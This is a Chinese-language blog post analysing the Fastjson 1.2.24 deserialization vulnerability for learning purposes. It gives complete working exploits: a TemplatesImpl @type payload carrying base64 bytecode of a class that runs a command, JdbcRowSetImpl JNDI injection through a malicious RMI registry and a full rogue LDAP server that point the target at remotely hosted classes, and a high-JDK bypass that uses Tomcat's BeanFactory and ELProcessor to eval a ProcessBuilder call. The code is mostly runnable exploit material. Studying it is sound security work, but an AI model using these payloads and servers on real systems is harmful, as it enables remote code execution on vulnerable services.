Fastjson1.2.24版本漏洞分析

环境搭建

  • JDK 就和之前一样用的 jdk-8u65
  • Fastjson 用的 1.2.24(1.2.22 <= Fastjson <= 1.2.24)
  • Maven的话应该无所谓

然后是依赖

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
<dependencies>
<dependency>
<groupId>com.alibaba</groupId>
<artifactId>fastjson</artifactId>
<version>1.2.24</version>
</dependency>
<dependency>
<groupId>com.unboundid</groupId>
<artifactId>unboundid-ldapsdk</artifactId>
<version>4.0.9</version>
</dependency>
<dependency>
<groupId>commons-io</groupId>
<artifactId>commons-io</artifactId>
<version>2.5</version>
</dependency>
<dependency>
<groupId>commons-codec</groupId>
<artifactId>commons-codec</artifactId>
<version>1.12</version>
</dependency>
</dependencies>

有俩条链子:

  • 第一个是基于 TemplatesImpl 的链子
  • 第二个是基于 JdbcRowSetImpl 的链子

基于 TemplatesImpl 的利用链

链子分析

选取可以执行命令的类

回顾一下 Fastjson 漏洞

Fastjson 漏洞的 POC 就是一个含有恶意代码的 json 格式的字符串,开头要有@type

可以直接进行赋值,不需要通过反射赋值

@type是要进行反序列化的类,会获取到这个类的构造函数、setter、getter 方法

所以要找到一个反序列化类的构造函数、setter、getter 方法存在漏洞问题

所以想到之前在学习 CC 链的时候,从 CC3 链开始使用 TemplatesImpl 类加载字节码

CC3 链笔记:https://yschen20.github.io/2026/01/28/CC3%E9%93%BE/

image-20260619142503364

CC3 链的漏洞点就是在getTransletInstance._class[_transletIndex].newInstance()这里

getTransletInstance()就是一个 getter 方法

所以 TemplatesImpl 类就可以满足 Fastjson 漏洞利用的条件

分析TemplatesImpl里面的参数

找到了适合利用的类是 TemplatesImpl,接下来先去分析一下 TemplatesImpl 这个类的参数

image-20260619143321835

_name不能为null,这个可以随便赋值

_class要为null,然后就可以进入到defineTransletClasses()方法中,所以_class可以不用写,或者直接写null

还有一个就是_tfactory也不能为null,原因可以看一下 CC3 链的笔记

image-20260619143607770

不过可以不用特意给_tfactory赋值,直接在 JSON 字符串中写成:

1
"_tfactory":{}

这样写的话在反序列化的时候 Fastjson 会自动将其当作一个 JSONObject,也就不为null了,并且也不会需要其他不必要多余的依赖

还有一个就是_bytecodes需要写,这是恶意字节码

写个Calc.java

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
package classpoc;

import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;

import java.io.IOException;

public class Calc extends AbstractTranslet {
static {
try {
Runtime.getRuntime().exec("calc");
} catch (IOException e){
e.printStackTrace();
}
}

@Override
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {}

@Override
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {}
}

然后编译一下

1
javac Calc.java

并且要base64编码一下

image-20260619161939220

所以构造的EXP:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.Feature;

import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.Base64;

public class TemplatesImplPOC {
public static void main(String[] args) throws Exception{
final String unserializeClassName = "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl";
final String _name = "Suzen";
final String _bytecodes = Base64.getEncoder().encodeToString(Files.readAllBytes(Paths.get("src/main/java/classpoc/Calc.class")));

String payload = "{\"@type\":" + "\"" + unserializeClassName + "\"," +
"\"_name\":" + "\"" + _name + "\"," +
"\"_bytecodes\":" + "[\"" + _bytecodes + "\"]," +
"\"_tfactory\":{}}";

Object obj = JSON.parseObject(payload, Object.class, Feature.SupportNonPublicField);
}
}

但是运行后没反应,也没报错

image-20260619162143440

原因就是和_outputProperties这个变量有关,因为 Fastjson 虽然在反序列化的时候会自动去找所有的 getter 方法,但是是有条件的:

image-20260619154940724

而这里要调用的getTransletInstance()方法是不满足返回值类型继承那些类的,它返回的是一个抽象类 AbstractTranslet,在这个方法的开头下断点会发现是不会调用到这个方法的

image-20260619155154858

解决无法调用getTransletInstance()方法的问题

要想解决这个问题,就要找到一个 getter 或者 setter 方法,可以调用到getTransletInstance()方法

先去找是谁调用了getTransletInstance()方法,是在TemplatesImpl.newTransformer()

image-20260619155644161

但是这个方法不是 getter 或 setter 方法,不能利用,还要继续往上找,可以找到TemplatesImpl.getOutputProperties()方法,这个之前学CC链的时候也见到过,这个是一个 getter 方法

image-20260619155927774

并且返回值是 Properties 类型,是继承 Map 方法的,满足所有的条件

image-20260619160149744

image-20260619160221785

image-20260619160237940

方法找到了,然后看参数,getOutputProperties()方法会调用到newTransformer()方法,在newTransformer()方法中需要_outputProperties这个参数

image-20260619160858529

修改一下EXP,加上_outputProperties这个参数,先和_tfactory一样用{}

1
"_outputProperties":{}

完整EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.Feature;

import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.Base64;

public class TemplatesImplPOC {
public static void main(String[] args) throws Exception{
final String unserializeClassName = "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl";
final String _name = "Suzen";
final String _bytecodes = Base64.getEncoder().encodeToString(Files.readAllBytes(Paths.get("src/main/java/classpoc/Calc.class")));

String payload = "{\"@type\":" + "\"" + unserializeClassName + "\"," +
"\"_name\":" + "\"" + _name + "\"," +
"\"_bytecodes\":" + "[\"" + _bytecodes + "\"]," +
"\"_tfactory\":{}," +
"\"_outputProperties\":{}}";

Object obj = JSON.parseObject(payload, Object.class, Feature.SupportNonPublicField);
}
}

运行后成功弹出计算器了

image-20260619162356246

基于JdbcRowSetImpl的利用链

基于 JdbcRowSetImpl 的利用链有两种:

  • JNDI + RMI
  • JNDI + LDAP

JNDI + RMI

JdbcRowSetImpl 这个链子是 JNDI 的 Reference 的利用方式

在 JdbcRowSetImpl 类中有个setDataSourceName()方法,顾名思义,是一个设置数据源的方法

image-20260623000915523

EXP:

1
2
3
4
{
"@type":"com.sun.rowset.JdbcRowSetImpl",
"dataSourceName":"rmi://localhost:1099/remoteObj", "autoCommit":true
}

服务端就用之前学习 JNDI 时候的,这里的 Calc 是放到了 classpoc 包里的,所以传给 Reference 的参数也改了一下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
import javax.naming.InitialContext;
import javax.naming.Reference;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;

public class JNDIRMIServer {
public static void main(String[] args) throws Exception{
InitialContext initialContext = new InitialContext();
Registry registry = LocateRegistry.createRegistry(1099);
/// RMI原生漏洞
// initialContext.rebind("rmi://localhost:1099/remoteObj", new RemoteObjImpl());
/// JNDI注入漏洞
Reference reference = new Reference("classpoc.Calc","classpoc.Calc","http://localhost:7777/");
initialContext.rebind("rmi://localhost:1099/remoteObj", reference);
}
}

攻击EXP:

1
2
3
4
5
6
7
8
9
import com.alibaba.fastjson.JSON;

public class JdbcRowSetImplExp {
public static void main(String[] args) {
String payload = "{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"rmi://localhost:1099/remoteObj\",\"autoCommit\":true}";
JSON.parse(payload);
}
}

恶意类 Calc 目录下起 HTTP 服务

1
python -m http.server 7777

然后就是依次运行服务端和 EXP 了

image-20260622235502901

JNDI + LDAP

原理也是一样的

服务端

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
import com.unboundid.ldap.listener.InMemoryDirectoryServer;
import com.unboundid.ldap.listener.InMemoryDirectoryServerConfig;
import com.unboundid.ldap.listener.InMemoryListenerConfig;
import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;
import com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor;
import com.unboundid.ldap.sdk.Entry;
import com.unboundid.ldap.sdk.LDAPException;
import com.unboundid.ldap.sdk.LDAPResult;
import com.unboundid.ldap.sdk.ResultCode;

import javax.net.ServerSocketFactory;
import javax.net.SocketFactory;
import javax.net.ssl.SSLSocketFactory;
import java.net.InetAddress;
import java.net.MalformedURLException;
import java.net.URL;

public class JNDILDAPServer {
private static final String LDAP_BASE = "dc=example,dc=com";
public static void main (String[] args) {
String url = "http://127.0.0.1:7777/#Calc";
int port = 1234;
try {
InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig(LDAP_BASE);
config.setListenerConfigs(new InMemoryListenerConfig(
"listen",
InetAddress.getByName("0.0.0.0"),
port,
ServerSocketFactory.getDefault(),
SocketFactory.getDefault(),
(SSLSocketFactory) SSLSocketFactory.getDefault()));

config.addInMemoryOperationInterceptor(new OperationInterceptor(new URL(url)));
InMemoryDirectoryServer ds = new InMemoryDirectoryServer(config);
System.out.println("Listening on 0.0.0.0:" + port);
ds.startListening();
}
catch ( Exception e ) {
e.printStackTrace();
}
}
private static class OperationInterceptor extends InMemoryOperationInterceptor {
private URL codebase;
/**
* */ public OperationInterceptor ( URL cb ) {
this.codebase = cb;
}
/**
* {@inheritDoc}
* * @see com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor#processSearchResult(com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult)
*/ @Override
public void processSearchResult ( InMemoryInterceptedSearchResult result ) {
String base = result.getRequest().getBaseDN();
Entry e = new Entry(base);
try {
sendResult(result, base, e);
}
catch ( Exception e1 ) {
e1.printStackTrace();
}
}
protected void sendResult ( InMemoryInterceptedSearchResult result, String base, Entry e ) throws LDAPException, MalformedURLException {
URL turl = new URL(this.codebase, this.codebase.getRef().replace('.', '/').concat(".class"));
System.out.println("Send LDAP reference result for " + base + " redirecting to " + turl);
e.addAttribute("javaClassName", "Exploit");
String cbstring = this.codebase.toString();
int refPos = cbstring.indexOf('#');
if ( refPos > 0 ) {
cbstring = cbstring.substring(0, refPos);
}
e.addAttribute("javaCodeBase", cbstring);
e.addAttribute("objectClass", "javaNamingReference");
e.addAttribute("javaFactory", this.codebase.getRef());
result.sendSearchEntry(e);
result.setResult(new LDAPResult(0, ResultCode.SUCCESS));
}

}
}

EXP:

1
2
3
4
5
6
7
8
import com.alibaba.fastjson.JSON;

public class JdbcRowSetImplLdapExp {
public static void main(String[] args) {
String payload = "{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"ldap://localhost:1234/Exploit\", \"autoCommit\":true}";
JSON.parse(payload);
}
}

image-20260623000651814

Fastjson攻击中JDK高版本的绕过

要加个依赖

1
2
3
4
5
6
7
8
9
10
<dependency>
<groupId>org.apache.tomcat</groupId>
<artifactId>tomcat-catalina</artifactId>
<version>8.5.63</version>
</dependency>
<dependency>
<groupId>org.apache.tomcat</groupId>
<artifactId>tomcat-jasper-el</artifactId>
<version>8.5.63</version>
</dependency>

服务端直接用之前 JNDI 的

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
import org.apache.naming.ResourceRef;

import javax.naming.InitialContext;
import javax.naming.StringRefAddr;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;

public class JNDIBypassHighJavaServerEL {
public static void main(String[] args) throws Exception{
InitialContext initialContext = new InitialContext();
Registry registry = LocateRegistry.createRegistry(1099);
/// RMI原生漏洞
// initialContext.rebind("rmi://localhost:1099/remoteObj", new RemoteObjImpl());
/// JNDI注入漏洞
// Reference reference = new Reference("JNDICalc","JNDICalc","http://localhost:7777/");
// initialContext.rebind("rmi://localhost:1099/remoteObj", reference);
/// JNDI高版本JDK绕过
ResourceRef resourceRef = new ResourceRef(
"javax.el.ELProcessor",
null,
"",
"",
true,
"org.apache.naming.factory.BeanFactory",
null
);
resourceRef.add(new StringRefAddr("forceString","x=eval"));
resourceRef.add(new StringRefAddr("x","\"\".getClass().forName(\"javax.script.ScriptEngineManager\")" + ".newInstance().getEngineByName(\"JavaScript\")" + ".eval(\"new java.lang.ProcessBuilder['(java.lang.String[])'](['calc']).start()\")"));
initialContext.rebind("rmi://localhost:1099/remoteObj", resourceRef);
}
}

EXP 不变

1
2
3
4
5
6
7
8
9
import com.alibaba.fastjson.JSON;

public class HighJdkBypass {
public static void main(String[] args) {
String json = "{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"rmi://localhost:1099/remoteObj\",\"autoCommit\":true}";
JSON.parse(json);
}
}

image-20260626145011999

参考学习文章

Java反序列化Fastjson篇02-Fastjson-1.2.24版本漏洞分析


Fastjson1.2.24版本漏洞分析
https://yschen20.github.io/2026/06/26/Fastjson1-2-24版本漏洞分析/
作者
Suzen
发布于
2026年6月26日
更新于
2026年6月26日
许可协议